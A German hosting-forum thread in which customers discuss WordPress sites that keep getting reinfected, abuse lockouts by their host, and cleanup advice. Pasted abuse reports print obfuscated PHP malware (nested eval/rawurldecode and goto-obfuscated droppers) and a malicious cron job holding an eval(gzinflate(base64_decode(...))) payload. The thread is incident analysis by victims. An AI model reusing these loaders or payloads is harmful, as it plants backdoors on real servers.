Wordpress gehackt, alles gelöscht trotzdem Abuse-Hinweise

    Langsam bin ich hart genervt. Letztes Jahr verursachte eine vermutliche Sicherheitslücke im Wordpress (anders kann ich es mir nicht erkören) zu einer Schadcode-Einführung. Daraufhin folgte der erste Abuse-Hinweis. Den konnte ich natürlich verstehen. Also, das Wordpress bereinigt, infizierte Dateien gelöscht, im Grund das Wordpress neu installiert. Die Daten aus der Datenbank übernommen.
    Ich habe alles auf automatischen Updates laufen.
    Danach wurden nach und nach alle WP Installations (ca. 5-6 Stück), trotz Updates und Passwort-Änderungen mit dem selben Schadcode infiziert. Immer wenn ich eine Seite bereinigte, tauchte der Schadcode nach 1-2 Stunden wieder auf.
    Testweise habe ich dann eine Webseite auf einen anderen Server migriert, dort bereinigt, keine Probleme mehr.
    Also nachgelesen und herausgefunden, dass dieses Problem durch einen Fehler in der PHP Konfiguration kommen KANN. Muss nicht, es kann ja immer noch ein Problem im Wordpress Core sein. da aber auch WP-Installationen befallen waren, die genau in der Konfiguration auf anderen Server schon seit Jahren laufen und andere wiederum gar keine Plug-Ins installiert hatten, habe ich Netcup angeschrieben und darum gebeten, dass sie die Infrastruktur bitte auf ein Problem hin prüfen, besonders in Richtung PHP-Cron.

    Naja, was soll ich sagen, wieder Abuse-Hinweis, alles gesperrt und keine Antwort.


    Das geht jetzt seit Monaten so. Aber jetzt wird es richtig lustig, ich habe bei den Abuse-Hinweisen immer nochmal darum gebeten, dass sie auch die Server prüfen, auch da keine Reaktion. Beim letzten Abuse.-Hinweis habe ich dann angefangen alle Seiten auf einen Fremdserver zu übertragen. Also sind nur noch die Domains und Mail-Server bei Netcup.
    Und was passiert am WE? Netcup sperrt meinen Account wegen einer angeblichen Spam-Mail vom 30.04. (zwei Wochen her) von einer Webseite die faktisch nicht mehr auf dem Server liegt...

    Naja, alle meine Kunden und ich können keine Mails mehr empfangen und ich warte jetzt Seite 1,5 Tagen darauf, dass sie meinen Space freischalten damit ich einen Screenshot machen kann um ihnen zu zeigen, dass ich gar keine Daten mehr bei Netcup habe...

    Mit dem ganzen Support für meine Kunden und der Problemanalyse und den Ausfällen habe ich/meine Kunden derweil ca. 5 Stellige € Verlust bzw. Kosten die entstanden sind. Und Netcup antwortet mir NULL.

    Als IT-Admin verstehe ich das, dass man im Zweifel sperren muss, dass sehe ich ein. Aber wenn ein Kunde sagt, "Leute, ich glaube da stimmt was mit der PHP-Konfiguration nicht", dann erwarte ich, dass das geprüft wird. Meine Installationen sind mein Problem, deren Infrastruktur aber ist deren Problem.

    Wenn sie dann sagen würden, wir haben alles geprüft, bei uns ist alles sauber, OK: Aber auch eine PHP Version kann Probleme haben und so etwas verursachen. Aber das interessiert sie nicht.
    Na ja, Ende vom Lied, ich ziehe den Space nun nach über 7 Jahren von Netcup weg... Das kostet ohne ende Zeit und ohne ende Nerven und viele Erklärungen in Richtung meiner Kunden.

    Danke Netcup, für nichts...

    So, da möchte ich mich anschließen.

    Im April ist das gleiche bei mir passiert.
    Danach komplett und rigoros jede noch so kleine Seite manuell gescannt, abgesichert, hastenichtgesehen.

    Gestern wieder ominöse Cronjobs mit Exploit.
    Wieder Abuse wegen angeblichem Spam.
    Der Spam besteht allerdings darin, dass der fehlgeschlagene Cronjob Benachrichtigungsmails an die Server-Admin Mail verschickt (in meinem Fall ist es meine eigene Mailadresse an meiner eigenen Domain auf einem - tadaaa - weiteren Netcup Server).
    Ich hatte gestern sogar alle unbenutzen Domains gesperrt und ggf. alte PHP Versionen auf 8.x umgestellt.
    Dann kam wieder die Abuse meldung, Serversperre. Zunächst antwortete man mir noch,
    nach meinem Hinweis, dass ich bereits alle nottwendigen Schritte unternommen hätte,
    Kontaktabbruch. Heute morgen halbe Stunde vergebens per Telefon versucht zu erreichen.
    Dann Mail per Support Form geschickt.

    Ich bin technisch "etwas" versiert und habe den Fehler auch lange und breit bei mir gesucht.
    Aber wenn ich sowas lese, dann kommen mir langsam Zweifel, ob die Server wirklich gut genug technisch abgesichert sind.


    Wenigstens an die Domains komme ich im CCP noch ran, aber selbst wenn, bringt mir das nichts viel, denn:

    Ich komme ja nicht mal an die Mails zum backuppen ran! xD


    Ich finde es auch wirklich schade, dass ich das hier an dieser Stelle öffentlich schreiben muss und klar, es sind noch keine 24h um,

    aber meine Kunden warten auf ihre Mails.


    Nachtrag:
    Es wurde reagiert, ich bin kurz davor die WordPress Seiten selbst komplett umzuziehen und nur Mail laufen zu lassen.
    Aber irgendwie wenn ich mir den Initial-Post so anschaue... ob das Sinn macht. :D

    Ein Cronjob, der eine base64 encodierte Funktion ausführt, die Dateien erstellt, die dann mittels Header Injection ausführbaren Code aufrufen.
    Ich weiß leider nicht genau, wann die Seite aufgerufen wurde. Zwischen den ganzen anderen Einträgen im access.log (die Seiten sind ja gut besucht - speziell von Bots heutzutage) steig ich nicht durch.
    Schon beim letzten Mal hatte ich beim Support um Hilfe gebeten, dass die da mal reinschauen.
    Wenn du eine Idee hast, wie ich das irgendwie ausfindig machen kann, schieß los! :)

    Wenn ich von dem Kollegen oben lese, dass überhaupt keine ausführbaren PHP Dateien mehr am Start waren -
    dann glaub ich langsam selbst, dass der Server einfach unsicher ist.
    Ich habe einen Wollmilchsau-Server, und jahrelang super zufrieden.
    Leider habe ich ja keine Möglichkeiten, irgendwelche übergreifenden Systemlogs einzusehen.
    Nur die Standard Logs halt.


    Nachtrag:

    Server ist wieder frei. Alles nochmal manuell gescannt und überprüft. Werde wohl für alle Fälle den gesamten Server frei räumen und nur noch per Mail betreiben lassen. Dass das mal öffentlich festgehalten ist. Ich melde mich hier wieder, falls es dann nochmal passiert.

    Man kann nicht pauschal sagen, dass es hier an Netcup liegt, nur weil man meint, dass WordPress „sauber“ ist. In 99,9% liegt es am Admin bzw. an einer schlecht gewarteten bzw. gesicherten WordPress Seite. Hält man sich an Regeln z.B zeitnah! WordPress, Plugin und Theme Update durchzuführen, keine alten Plugins oder Themes einzusetzen, hat man eigentlich die halbe Miete drin. Wenn man jetzt noch vernünftig Absichert, passiert in 95% der Fälle nichts.

    Einfach nur schadcode aus einer gehackten WordPress Installation zu entfernen, reicht meist nicht aus. Ganz oft werden „Hintertüren“ eingebaut, um den schadecode im Falle schnell nachladen zu können. Also einfach nochmal darüber nachdenken, ob man sich an alle Regeln gehalten hat bzw im Bedarfsfall einen Profi suchen, der einem die Webseite „bereinigt“.

    Dazu dann auch die xmlrpc Schnittstelle nach Möglichkeit abschalten. Vielleicht auch ein Plugin wie Wordfence oder so installieren. Für die Absicherung des Logins auch MFA einrichten.

    Bei einem Befall hilft nur, alles weg und installieren. Das aus einem Backup, wo man sicher sein muss, das es sauber ist.

    Jein, du kannst gerade bei WP auch schon mit vernünftigen Plugins viel erreichen. Es kommt immer auf das was an. Wenn man Plugins generell als schlecht ansieht, dann kann man auch gern alles von Hand erstellen. Man sollte halt nur wissen was man tut.
    Wenn man es absolut sicher haben will, verschickt man nur noch alles als JPG/PDF auf Disketten.

    Man bekommt mit so einem „Sicherheitsplugin“ eine Sicherheit vorgegaukelt, die aber nicht immer gegeben ist. Du hast sicher Recht, es gibt schon einige Plugins, die man einsetzen kann. Aber viele User wissen halt nicht, welche das sind. Und genau hier fangen dann die Probleme an.

    Deswegen die Aussage mit den richtigen Plugins. Ein Plugin das einem hilft die xmlrpc zu entfernen ist kein großer Eingriff, hilft und man kann es danach wieder entfernen. Wenn man aber z.B. Änderungen im Dateisystem beobachtet und nach der 2ten false positive Meldung es ignoriert, dann bringt das ganze Konzept nichts.

    Es Hilfe bei erstellen von Blocklisten usw. ist wiederum gut, wenn man das richtige hat.

    Also muss man sich mit dem Kram beschäftigen, zu einem reinen WP Hoster gehen oder sich vielleicht mit Systemen wie Processwire usw. beschäftigen.

    Danke an alle für die Hinweise.

    Richtig, genau. So ein Plugin bringt gar nichts, wenn sich jemand auf Server Ebene an den

    Sicherheitsmechanismen vorbeisch schlängelt.

    Ich habe bei einer Wollmilchsau allerdings nicht so wirklich Spielraum was die Konfiguration der Serversicherheit angeht.

    Und die NinjaFirewall blockt schon ne Menge.

    BTW: XMLRPC war nicht aktiv.

    Der NinjaScanner ist auch realtiv zuverlässig. Wenigstens erkennt er abweichungen von den Originaldateien.

    Aber klar, vielleicht ist noch irgendwo Schadcode versteckt (vielleicht ne Art RootKit - hrhr - Wortspiel).

    Aus diesem Grund habe ich vorsorglich alle Dateien auf dem Webserver entfernt.

    Es liegen nur noch html Platzhalter in den Ordnern der entsprechenden Domänen

    und das auch nur so lange, bis der neue Webspace bereit steht.

    Melde mich wieder, sobald der nächste Cronjob kommt.

    Habe ein ganz unwohles Gefühl, dass sie wiederkommen.


    Ich habe tatsächlich merkwürdige Anfragen in der access.log gefunden, die ich hier aus Sicherheitsgründen nicht voll posten werde.
    Die Anfragen sehen in etwa so aus:

    x16\x03\x01\x00\xB1\...

    Der Support wurde informiert.

    Ich benutze Wordfence, das deckt schonmal sehr viel ab. Im moment werden aber auch richtig aktiv Wordpress Seiten von Bots abgescannt.


    Das Problem bei Wordpress sind ja eigentlich die Plugins die nicht aktuell gehalten werden. Da sagen auch andere Provider mit 20€ "24/7 Support" -> "das ist Ihr PHP-Script".


    Ich hatte eine Wordpress Seite erstellt (Nicht bei Netcup) und war drüber hinweg gekommen (neue Domain, keine Einträge, webseite nur kurz eingerichtet), 2 Wochen später waren alle Wordpress Seiten in dem Space gehackt (die Bots scannen automatisch auch die verzeichnisse darüber bis keine Zugriffsrechte mehr bestehen), am einfachsten bzw. schnellsten ist wenn man ssh zugriff hat und den webspace nach neuen/geänderten dateien scannt.


    Außerdem ist ein "bereinigtes" Wordpress immer eine Ansicht des Betrachters.

    Wow, hier sind ein paar richtig gute Hinweise!
    Dafür erstmal vielen Dank! Ich werde da mal ein paar Dinge auf dem anderen Server testen. Bei Netcup aber habe ich quasi nichts mehr. Also alle WP Instanzen gelöscht... Bin aber diese Woche jetzt wieder zum dritten mal gesperrt weil Netcup sagt, ich hatte kompromittierte WP Installationen und eine davon würde Spam verschicken... Ich weiß gar nicht, was ich noch machen soll, mein Space ist leer... Das schlimme ist, meine Kunden können in den Sperrungen auch keine Mails mehr senden oder empfangen.... Das ist eine Katastrophe...

    Ich bin so hart gefrustet, was soll ich noch tun außer meinen Space leer machen!?!?!?

    Der Abuse Hinweis von gestern war noch abstruder, betroffene Datei und betroffenen WP Installation sind von einer anderen Kundennummer mit einer Webseite die ich gar nicht kenne. Die betreffen meinen Space noch noch einmal... Ich weiß nicht was da ab geht.

    Ich habe seit zwei Wochen, keine Homepage mehr gehostet und trotzdem werde ich die ganze zeit gesperrt... Die Links in den Hinweisen, wie gesagt, gehören mir entweder nicht oder sind noch Files die schon seit Wochen gelöscht sind... Was will Netcup denn noch von mir :(


    Angehangen mal beide Abuse Hinweise. Unten ist meiner, der sieht aus wie das was @proxypunkt beschreibt. Eine Mail die Local an den Lokalen Server gehen soll....

    Hier mal der Abuse Hinweis, der überhaupt nicht zu mir gehört (andere Kundennummer und un bekannte Webseite, Daten unkenntlich gemacht)
    ========== Abusemeldung / Abuse report ==========

    /var/www/vhosts/hostingXXXXX.a2fb5.netcup.net/httpdocs/XXXXX/wp-admin

    admin-header.php:2:eval(rawurldecode('function%20_1b87%28%24_rLojswb7%29%7B%24_rLojswb7%3Dsubstr%28%24_rLojswb7%2C%28int%29%28hex2bin%28%2731313837%27%29%29%29%3B%24_rLojswb7%3Dsubstr%28%24_rLojswb7%2C%28int%29%28hex2bin%28%2730%27%29%29%2C%28int%29%28hex2bin%28%272d343930%27%29%29%29%3Breturn%20%24_rLojswb7%3B%7D%24_rMdCfk6gt%3D%27_1b87%27%3B%24_Zrswx9%3D%27base64_decode%27%3Bfunction%20_vJ1CephpvaekdnbFfeM5%28%24_pLOGD%29%7Bglobal%20%24_rMdCfk6gt%3Bglobal%20%24_Zrswx9%3Breturn%20strrev%28gzinflate%28%24_Zrswx9%28_1b87%28%24_pLOGD%29%29%29%29%3B%7Deval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28eval%28_vJ1CephpvaekdnbFfeM5%28%27Am6ymOpqGZsgThier folgt eine elendig lange Zeichenkette ohne sinnvollen Inhalt....

    afjplcew.php:2: goto Fy6Bg; Fy6Bg: error_reporting(0); goto MqCa6; MqCa6: function MhAJ1() { goto a6tUo; a6tUo: $ir7ui = 'I could not have a more welcome visitor 64 group of zain bani'; goto CNE2N; rf2hk: return $Wfnym; goto dm0zR; CNE2N: $Wfnym = $ir7ui[15] . $ir7ui[14] . $ir7ui[13] . $ir7ui[5] . '(' . $ir7ui[43] . $ir7ui[52] . $ir7ui[4] . $ir7ui[8] . $ir7ui[2] . $ir7ui[3] . $ir7ui[19] . $ir7ui[47] . $ir7ui[21] . $ir7ui[15] . $ir7ui[34] . $ir7ui[34] . '(' . $ir7ui[57] . $ir7ui[13] . $ir7ui[34] . $ir7ui[15] . $ir7ui[40] . $ir7ui[41] . '_' . $ir7ui[6] . $ir7ui[15] . $ir7ui[2] . $ir7ui[3] . $ir7ui[6] . $ir7ui[15] . '(''; goto rf2hk; dm0zR: } goto Oj7O3; Oj7O3: eval(MHaJ1() . hier folgt eine Riesen Zeichenkette ohne sinnvollen inhalt



    Und hier der Hinweis, der mich angeblich betroffen soll von einer Datei die schon lange nicht mehr existiert:
    ========== Abusemeldung / Abuse report ==========

    hostingXXXX = XXXX



    *** ENVELOPE RECORDS hold/B715284BF2 ***

    message_size: 2489 776 1 0 2489 0

    message_arrival_time: Thu May 16 12:52:03 2024

    create_time: Thu May 16 12:52:03 2024

    named_attribute: log_ident=B715284BF2

    named_attribute: rewrite_context=local

    sender: hostingXXXX@hostingXXXXa2fb5.netcup.net

    named_attribute: encoding=8bit

    named_attribute: log_client_name=localhost

    named_attribute: log_client_address=127.0.0.1

    named_attribute: log_client_port=56160

    named_attribute: log_message_origin=localhost[127.0.0.1]

    named_attribute: log_helo_name=a2fb5.netcup.net

    named_attribute: log_protocol_name=ESMTP

    named_attribute: client_name=localhost

    named_attribute: reverse_client_name=localhost

    named_attribute: client_address=127.0.0.1

    named_attribute: client_port=56160

    named_attribute: server_address=127.0.0.1

    named_attribute: server_port=10025

    named_attribute: helo_name=a2fb5.netcup.net

    named_attribute: protocol_name=ESMTP

    named_attribute: client_address_type=2

    named_attribute: dsn_orig_rcpt=rfc822;hostingXXXX@a2fb5.netcup.net

    original_recipient: hostingXXXX@a2fb5.netcup.net

    recipient: hostingXXXX@a2fb5.netcup.net

    *** MESSAGE CONTENTS hold/B715284BF2 ***

    Received: by a2fb5.netcup.net (Postfix, from userid 31074)

    id 4B73384BFC; Thu, 16 May 2024 12:52:01 +0200 (CEST)

    From: hostingXXXX@hostingXXXX.a2fb5.netcup.net

    To: hostingXXXX@a2fb5.netcup.net

    Subject: Cron <hostingXXXX@a2fb5> /usr/bin/php -r 'eval(gzinflate(base64_decode("jVJrj5pAFP3ur6CJCZpuGpBFa5qm3bqiWJEVVx1oGgPDoOgwsDCg0Ox/7+B7H0k7yTB3mHvOPfdRiVZRJyTezMa+a1NU483HUNAJjfT1XQsW4U67HzdVv90wgZq5kisNJSt0pJEA8/b+tOcy0R67sn6/kYZBN7cCVRwGMnZ7IxF25NQC48zuGwLsGZkpaZnbUzILWNghRjGU3AwGxhYGs4LxSbAjRk4wSty5gdl9bYIfKzPAiQ2MyAJaCnurrboutXVLbSxm6HvBrGHOdw7A2xD0ZAix8AQ6q/K+AZMIDpS2M56INgBJw5tRBBTq/sQ7Zy7KcCBufebjgI4LVSyqM8UYg2JaGPfmztjMTv8Z184tuUCJ72CG30Zz8bYFJmHLI5qvNzZNbU0Lfa3luj+4Y/mtnM5yA8SRMsUW2wmZKMZ0qnwWNWHc0KaWMhCFSM/Vlv0YFrqkMbzZVImMQF97ssgsNSUjchosn5xKUGnnTmOHoSRTln+br3+peCmB1A8J97qD1QTFde5PpcKxhf2EcrWql2L8YNPVDVdN8oSioEsyZsPQReyIbEpRTOrcVy4lDO0zqgLVHDtBzduFi0q3Ay2LW7JWkzCNIWL+no/RYonoAoaEIkKTS6yjr+9xtShGy0VgU7iqvYh/oKmXarnjihFNY3KAPp8JPlwzHOWe8czYv6DkH0wH7T6BYRwjSA20RDuWQ0LjRYwibEM2/ojnPnF8Zu8PzN9w/Pdvdhzvr3bOXxfwVAyCtpNTPfY6T2SvQjEu/pL0O+BrIaeUfgm/j41iCh76D4uuPmTWy+czyZH18nlTvOvyX2D/U7ey1QH1g1Pb9/ZVu7mPnCgcYCnBPtm8GYX9sETpe8PyThI0TEvBVx7nqMzjufIX")));'

    MIME-Version: 1.0

    Content-Type: text/plain; charset=US-ASCII

    Content-Transfer-Encoding: 8bit

    X-Cron-Env: <SHELL=/opt/psa/bin/chrootsh>

    X-Cron-Env: <HOME=/var/www/vhosts/hostingXXXX.a2fb5.netcup.net>

    X-Cron-Env: <PATH=/usr/bin:/bin>

    X-Cron-Env: <LOGNAME=hostingXXXX>

    Message-Id: <20240516105203.4B73384BFC@a2fb5.netcup.net>

    Date: Thu, 16 May 2024 12:52:01 +0200 (CEST)

    X-NC-CID: MuePkLpVeDGmwfUB/6udsswM014GBpClO99rIQ21YjTTdjeZg2Ira8eQ15QJiw==

    X-MORS-Enabled: yes

    X-MORS-DOMAIN: a2fb5.netcup.net

    X-MORS-HOSTING: hostingXXXX

    X-MORS-USER: hostingXXXX

    X-Rspamd-Queue-Id: B715284BF2

    X-Spamd-Result: default: False [-1.60 / 15.00];

    BAYES_HAM(-5.50)[99.99%];

    LONG_SUBJ(3.00)[968];

    MID_RHS_MATCH_TO(1.00)[];

    MIME_GOOD(-0.10)[text/plain];

    FROM_EQ_ENVFROM(0.00)[];

    MIME_TRACE(0.00)[0:+];

    RCVD_TLS_LAST(0.00)[];

    TO_DN_NONE(0.00)[];

    FROM_NO_DN(0.00)[];

    RCVD_COUNT_TWO(0.00)[2];

    MID_RHS_MATCH_FROMTLD(0.00)[];

    RCPT_COUNT_ONE(0.00)[1];

    TO_MATCH_ENVRCPT_ALL(0.00)[];

    ARC_NA(0.00)[]

    X-Rspamd-Server: rspamd-worker-8404

    X-MORS-Enabled: yes

    X-MORS-DOMAIN: hostingXXXX.a2fb5.netcup.net





    XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 6

    *** HEADER EXTRACTED hold/B715284BF2 ***

    named_attribute: encoding=8bit

    *** MESSAGE FILE END hold/B715284BF2 ***

    Quote from monotron

    Cron <hostingXXXX@a2fb5> /usr/bin/php

    Auch wenn es jetzt das Offensichtliche ist - Du hast es nicht explizit erwähnt: Hast Du denn neben den geleerten Domain-Verzeichnissen auch verifiziert, dass in Plesk keine Cron-Jobs mehr definiert sind? Oder tauchen dort ominös neue auf? Dann solltest Du Gedanken über Deine netcup-Credentials machen (mir wäre nicht bewusst, dass im Shared Webhosting ohne diese Cronjobs angelegt werden können).

    ach hört doch auf netcup zu verteidigen

    ich habe auch mal eine abuse Medung an netcup verschickt

    Das Ergebnis war dass ich 2 Tage später(2 Tage!!!!) eine Abuse Meldung bekommen habe


    Quote

    ist zwar aus 2018 und Keine Sorge ich habe diesen Server nicht mehr, aber netcup ist nicht immer unfehlbar ;)

    It's me, only me, pure michi 🦆

    RS 1000 SAS G8 | Cyber Quack | Vincent

    VPS: 50 G7 |B Ostern 2017|200 | Karneval

    WH: SmallEi | Adv17 Family |4000 SE|1000 SE

    Haha 1
    Quote from MyMattes

    Auch wenn es jetzt das Offensichtliche ist - Du hast es nicht explizit erwähnt: Hast Du denn neben den geleerten Domain-Verzeichnissen auch verifiziert, dass in Plesk keine Cron-Jobs mehr definiert sind? Oder tauchen dort ominös neue auf? Dann solltest Du Gedanken über Deine netcup-Credentials machen (mir wäre nicht bewusst, dass im Shared Webhosting ohne diese Cronjobs angelegt werden können).

    Freitag habe ich genau das gefunden! Mega peinlich! Das ich auf einem vServer oder Root-Server eigene CronJobs einrichten kann, ok. Das ich aber bei einem Webpaket CronJobs einrichten kann, dass wusste ich nicht! Und da waren ca. 15 Einträge drinnen die jede Sekunde getrioggert worden sind. Die habe ich gelöscht. Danach war erstmal ruhe. Hab dann eine eigentlich infizierte Seite zurückgespielt, soweit ich sehen konnte, alles bereinigt, heute war leider trotzdem wieder ein neuer CronJob drinnen.

    Weiß einer, wie jemand über ein eventuell infiziertes Wordpress auf meinem Webspace einen festen CronJob einrichten kann!? Ich könnte es mir ja noch erklären, wenn es ein WP-Cron ist. Aber hier sind es richtige CronJobs.

    Naja, ich sag immer, kein Backup, kein Mitleid. In dem Fall, Backup, was mir nicht wirklich etwas bringt weil ich damit den ganzen Müll wieder zurückspiele. Also muss ich wohl alles von Hand neu machen und die Daten stück für Stück manuell übernehmen um sicher zu sein, dass nicht wieder irgendwas komisch rüber kommt.

    Ich habe den Support mal angeschrieben, wie das geht, dass irgendwer über die Webserver auf dem Server einen CronJob initiieren kann. Ich würde das gerne fest unterbinden.....

    Quote from monotron

    Weiß einer, wie jemand über ein eventuell infiziertes Wordpress auf meinem Webspace einen festen CronJob einrichten kann!? Ich könnte es mir ja noch erklären, wenn es ein WP-Cron ist. Aber hier sind es richtige CronJobs.

    Ein Cronjob im Plesk-Panel, bei einem Webhosting-Paket? Gar nicht, sofern der Server nicht als ganzes kompromittiert wurde, was sehr unwahrscheinlich ist. Da hat womöglich irgendjemand Deine Zugangsdaten fürs CCP und/oder Plesk!


    Ändere unbedingt sofort Dein CCP-Passwort und vergib direkt in Plesk für den Plesk-Zugang ein neues Passwort. Das von Deinem E-Mail-Account solltest Du sicherheitshalber auch ändern. Zusätzlich solltest Du sofort alle verwendeten Endgeräte (PC/Notebook/Tablet/Handy/…) auf Schadsoftware scannen. Denn wenn Du nicht gerade auf Phishing hereingefallen bist, muss das Passwort ja irgendwo entwendet worden sein.


    Und informiere netcup unbedingt, dass womöglich Deine Zugangsdaten entwendet wurden. Die sollen entsprechende Schritte setzen und z.B. auch Logdateien der (fremden) Zugriffe sichern.

    "Wer nur noch Enten sieht, hat die Kontrolle über seine Server verloren." (Netzentenfund)

    Edited 2 times, last by KB19: Aussage korrigiert, siehe Post #223247. ().

    Like 5
    Quote from KB19

    Das von Deinem E-Mail-Account solltest Du sicherheitshalber auch ändern. Zusätzlich solltest Du sofort alle verwendeten Endgeräte (PC/Notebook/Tablet/Handy/…) auf Schadsoftware scannen. Denn wenn Du nicht gerade auf Phishing hereingefallen bist, muss das Passwort ja irgendwo entwendet worden sein.

    Und ohne den Teufel an die Wand malen zu wollen: Sollte über die Plesk-Credentials auch Zugriff auf E-Mails bestanden haben, könnten - je nach Passwort-Hygiene - noch andere Accounts betroffen sein. Ich sage nur „stümperhafte Reset-Prozeduren“ … :(

    Zugangsdaten ändern: Ok. Aber ich sage es mal so: Seitdem ich sowohl Cronjobs als auch sämtliche Dateien auf dem Webspace gelöscht habe ist seit meiner Meldung/Ankündigung hier im Forum RUHE (fast eine ganze Woche). Davor hatte ich Cronjobs immer wieder gelöscht und WP bereinigt - es war ein Trauerspiel.

    Ich habe den leisen Verdacht, dass irgendeine Sicherheitslücke in Verbindung mit WP beim Wollmilchsauserver besteht. Es waren bei mir auch WP-Seiten betroffen, die ich quasi neu aufgesetzt hatte. Auch mit NinjaFirewall. Deswegen erscheint mir Server (Webserver/SSL/Firewall/ModSecurity Lücke) als Ursache plausibel.